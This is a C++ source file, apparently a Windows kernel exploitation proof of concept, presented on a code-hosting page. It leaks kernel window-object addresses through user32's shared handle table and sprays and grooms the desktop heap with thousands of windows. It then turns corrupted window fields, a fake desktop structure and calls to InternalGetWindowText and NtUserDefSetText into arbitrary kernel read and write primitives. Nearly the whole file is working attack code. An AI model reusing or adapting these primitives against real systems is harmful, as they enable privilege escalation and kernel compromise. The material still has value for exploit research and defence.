/
tagWnd.cpp
412 lines (338 loc) · 10.1 KB
/
tagWnd.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
// tagWnd.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
#include "ntos.h"
typedef struct _DESKTOPINFO
{
/* 000 */ PVOID pvDesktopBase;
/* 008 */ PVOID pvDesktopLimit;
} DESKTOPINFO, *PDESKTOPINFO;
typedef struct _CLIENTINFO
{
/* 000 */ DWORD CI_flags;
/* 004 */ DWORD cSpins;
/* 008 */ DWORD dwExpWinVer;
/* 00c */ DWORD dwCompatFlags;
/* 010 */ DWORD dwCompatFlags2;
/* 014 */ DWORD dwTIFlags;
/* 018 */ DWORD filler1;
/* 01c */ DWORD filler2;
/* 020 */ PDESKTOPINFO pDeskInfo;
/* 028 */ ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;
typedef struct _HANDLEENTRY {
PVOID phead;
ULONG_PTR pOwner;
BYTE bType;
BYTE bFlags;
WORD wUniq;
}HANDLEENTRY, *PHANDLEENTRY;
typedef struct _SERVERINFO {
DWORD dwSRVIFlags;
DWORD64 cHandleEntries;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
}SERVERINFO, *PSERVERINFO;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelta;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO, *PSHAREDINFO;
typedef struct _LARGE_UNICODE_STRING {
ULONG Length;
ULONG MaximumLength : 31;
ULONG bAnsi : 1;
PWSTR Buffer;
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;
DWORD64 g_ulClientDelta;
PSHAREDINFO g_pSharedInfo;
PSERVERINFO g_pServerInfo;
HANDLEENTRY* g_UserHandleTable;
DWORD64 g_rpDesk;
PDWORD64 g_fakeDesktop = NULL;
DWORD64 g_winStringAddr;
DWORD64 g_PTEbase;
BOOL g_hooked;
DWORD64 g_pvDesktopBase;
PBYTE g_fakeFunc;
HWND g_window1 = NULL;
HWND g_window2 = NULL;
HWND g_window3 = NULL;
const WCHAR g_windowClassName1[] = L"Manager_Window";
const WCHAR g_windowClassName2[] = L"Worker_Window";
const WCHAR g_windowClassName3[] = L"Spray_Window";
WNDCLASSEX cls1;
WNDCLASSEX cls2;
WNDCLASSEX cls3;
extern "C" VOID NtUserDefSetText(HWND hwnd, PLARGE_UNICODE_STRING pstrText);
LRESULT CALLBACK WProc1(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if (wParam == 0x1234)
{
DebugBreak();
((PDWORD64)0x1a000070)[0] = 0x333333;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
LRESULT CALLBACK WProc2(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if (wParam == 0x1234)
{
DebugBreak();
((PDWORD64)0x1a000070)[0] = 0x111111;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
LRESULT CALLBACK WProc3(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
VOID RtlInitLargeUnicodeString(PLARGE_UNICODE_STRING plstr, CHAR* psz, UINT cchLimit)
{
ULONG Length;
plstr->Buffer = (WCHAR*)psz;
plstr->bAnsi = FALSE;
if (psz != NULL)
{
plstr->Length = cchLimit;
plstr->MaximumLength = cchLimit + sizeof(UNICODE_NULL);
}
else
{
plstr->MaximumLength = 0;
plstr->Length = 0;
}
}
BOOL setupLeak()
{
PTEB teb = NtCurrentTeb();
DWORD64 win32client = (DWORD64)teb->Win32ClientInfo;
PCLIENTINFO pinfo = (PCLIENTINFO)win32client;
g_ulClientDelta = pinfo->ulClientDelta;
printf("ulClientDelta is: 0x%llx\n", g_ulClientDelta);
PDESKTOPINFO pdesktop = pinfo->pDeskInfo;
g_pvDesktopBase = (DWORD64)pdesktop->pvDesktopBase;
g_pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
g_UserHandleTable = g_pSharedInfo->aheList;
g_pServerInfo = g_pSharedInfo->psi;
return TRUE;
}
DWORD64 leakWnd(HWND hwnd)
{
HWND kernelHandle = NULL;
DWORD64 kernelAddr = NULL;
for (int i = 0; i < g_pServerInfo->cHandleEntries; i++)
{
kernelHandle = (HWND)(i | (g_UserHandleTable[i].wUniq << 0x10));
if (kernelHandle == hwnd)
{
kernelAddr = (DWORD64)g_UserHandleTable[i].phead;
break;
}
}
return kernelAddr;
}
DWORD64 leakHeapData(DWORD64 addr)
{
DWORD64 userAddr = addr - g_ulClientDelta;
DWORD64 data = *(PDWORD64)userAddr;
return data;
}
BOOL leakrpDesk(DWORD64 wndAddr)
{
DWORD64 rpDeskuserAddr = wndAddr - g_ulClientDelta + 0x18;
g_rpDesk = *(PDWORD64)rpDeskuserAddr;
return TRUE;
}
BOOL createWnd()
{
cls1.cbSize = sizeof(WNDCLASSEX);
cls1.style = 0;
cls1.lpfnWndProc = WProc1;
cls1.cbClsExtra = 0;
cls1.cbWndExtra = 8;
cls1.hInstance = NULL;
cls1.hCursor = NULL;
cls1.hIcon = NULL;
cls1.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
cls1.lpszMenuName = NULL;
cls1.lpszClassName = g_windowClassName1;
cls1.hIconSm = NULL;
if (!RegisterClassEx(&cls1))
{
printf("Failed to initialize: %d\n", GetLastError());
return FALSE;
}
cls2.cbSize = sizeof(WNDCLASSEX);
cls2.style = 0;
cls2.lpfnWndProc = WProc2;
cls2.cbClsExtra = 0;
cls2.cbWndExtra = 8;
cls2.hInstance = NULL;
cls2.hCursor = NULL;
cls2.hIcon = NULL;
cls2.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
cls2.lpszMenuName = NULL;
cls2.lpszClassName = g_windowClassName2;
cls2.hIconSm = NULL;
if (!RegisterClassEx(&cls2))
{
printf("Failed to initialize: %d\n", GetLastError());
return FALSE;
}
cls3.cbSize = sizeof(WNDCLASSEX);
cls3.style = 0;
cls3.lpfnWndProc = WProc3;
cls3.cbClsExtra = 0;
cls3.cbWndExtra = 8;
cls3.hInstance = NULL;
cls3.hCursor = NULL;
cls3.hIcon = NULL;
cls3.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
cls3.lpszMenuName = NULL;
cls3.lpszClassName = g_windowClassName3;
cls3.hIconSm = NULL;
if (!RegisterClassEx(&cls3))
{
printf("Failed to initialize: %d\n", GetLastError());
return FALSE;
}
//perform the desktop heap feng shui
DWORD size = 0x1000;
HWND* hWnd = new HWND[size];
for (DWORD i = 0; i < size; i++)
{
hWnd[i] = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName3, L"Sprayer", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
}
DestroyWindow(hWnd[0xE00]);
g_window1 = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName1, L"Manager", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
if (g_window1 == NULL)
{
printf("Failed to create window: %d\n", GetLastError());
return FALSE;
}
DestroyWindow(hWnd[0xE01]);
g_window2 = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName2, L"Worker", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
if (g_window2 == NULL)
{
printf("Failed to create window: %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
VOID setupFakeDesktop()
{
g_fakeDesktop = (PDWORD64)VirtualAlloc((LPVOID)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(g_fakeDesktop, 0x11, 0x1000);
}
VOID setupPrimitive()
{
g_winStringAddr = leakHeapData(leakWnd(g_window2) + 0xe0);
leakrpDesk(leakWnd(g_window2));
setupFakeDesktop();
}
DWORD64 readQWORD(DWORD64 addr)
{
//The top part of the code is to make sure that the address is not odd
DWORD size = 0x18;
DWORD offset = addr & 0xF;
addr -= offset;
WCHAR* data = new WCHAR[size + 1];
ZeroMemory(data, size + 1);
g_fakeDesktop[0xF] = addr - 0x100;
g_fakeDesktop[0x10] = 0x200;
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
SetWindowLongPtr(g_window1, 0x118, addr);
SetWindowLongPtr(g_window1, 0x110, 0x0000002800000020);
SetWindowLongPtr(g_window1, 0x50, (DWORD64)g_fakeDesktop);
DWORD res = InternalGetWindowText(g_window2, data, size);
SetWindowLongPtr(g_window1, 0x50, g_rpDesk);
SetWindowLongPtr(g_window1, 0x110, 0x0000000e0000000c);
SetWindowLongPtr(g_window1, 0x118, g_winStringAddr);
SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);
CHAR* tmp = (CHAR*)data;
DWORD64 value = *(PDWORD64)((DWORD64)data + offset);
return value;
}
VOID writeQWORDOld(DWORD64 addr, DWORD64 value)
{
CHAR* input = new CHAR[0x8];
LARGE_UNICODE_STRING uStr;
for (DWORD i = 0; i < 8; i++)
{
input[i] = (value >> (8 * i)) & 0xFF;
}
RtlInitLargeUnicodeString(&uStr, input, 0x8);
SetWindowLongPtr(g_window1, 0x118, addr);
NtUserDefSetText(g_window2, &uStr);
//cleanup
SetWindowLongPtr(g_window1, 0x118, g_winStringAddr);
}
VOID writeQWORD(DWORD64 addr, DWORD64 value)
{
//The top part of the code is to make sure that the address is not odd
DWORD offset = addr & 0xF;
addr -= offset;
DWORD64 filler;
DWORD64 size = 0x8 + offset;
CHAR* input = new CHAR[size];
LARGE_UNICODE_STRING uStr;
if (offset != 0)
{
filler = readQWORD(addr);
}
for (DWORD i = 0; i < offset; i++)
{
input[i] = (filler >> (8 * i)) & 0xFF;
}
for (DWORD i = 0; i < 8; i++)
{
input[i + offset] = (value >> (8 * i)) & 0xFF;
}
RtlInitLargeUnicodeString(&uStr, input, size);
g_fakeDesktop[0x1] = 0;
g_fakeDesktop[0xF] = addr - 0x100;
g_fakeDesktop[0x10] = 0x200;
SetWindowLongPtr(g_window1, 0x118, addr);
SetWindowLongPtr(g_window1, 0x110, 0x0000002800000020);
SetWindowLongPtr(g_window1, 0x50, (DWORD64)g_fakeDesktop);
NtUserDefSetText(g_window2, &uStr);
//cleanup
SetWindowLongPtr(g_window1, 0x50, g_rpDesk);
SetWindowLongPtr(g_window1, 0x110, 0x0000000e0000000c);
SetWindowLongPtr(g_window1, 0x118, g_winStringAddr);
}
int main()
{
LoadLibraryA("user32.dll");
createWnd();
setupLeak();
setupPrimitive();
//Debug output buffer
PDWORD64 buffer = (PDWORD64)VirtualAlloc((PVOID)0x1a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if ((DWORD64)buffer != 0x1a000000)
{
printf("Could not allocate buffer correctly: 0x%llx\n", buffer);
}
printf("Window1 is at: 0x%llx\n", leakWnd(g_window1));
buffer[0] = leakWnd(g_window1);
printf("Window2 is at: 0x%llx\n", leakWnd(g_window2));
buffer[1] = leakWnd(g_window2);
//This is the cbwndExtra field of the first window - manually modify it to simulate a w-w-w, 0x1000 is more than enough.
buffer[2] = leakWnd(g_window1) + 0xe8;
Sleep(1000);
DebugBreak();
buffer[3] = readQWORD(0xfffff78000000000);
writeQWORD(0xfffff78000000800, 0x4141414142424242);
DebugBreak();
return 0;
}